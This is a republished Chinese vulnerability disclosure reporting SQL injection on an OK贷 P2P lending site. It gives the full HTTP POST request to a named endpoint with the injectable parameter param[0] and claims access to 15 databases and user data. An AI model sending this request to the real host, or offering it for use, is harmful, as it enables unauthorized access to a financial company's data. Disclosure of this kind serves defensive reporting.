神刀安全网

漏洞标题: P2P金融安全之OK贷某站SQL注入

漏洞详情

披露状态:

2016-04-05: 细节已通知厂商并且等待厂商处理中
2016-04-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

注入

详细说明:

data:

code 区域
POST /website/abouts/deleteaboutsremove HTTP/1.1
Host: mail.okdai.com:8888
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_cac91bdc3b32aef443464f95b91a41fa=1459747287; Hm_lpvt_cac91bdc3b32aef443464f95b91a41fa=1459747509
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

param[0]=-1

注入参数 param[0]

15个数据库

漏洞标题:  P2P金融安全之OK贷某站SQL注入

用户

漏洞标题:  P2P金融安全之OK贷某站SQL注入

漏洞证明:

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: P2P金融安全之OK贷某站SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮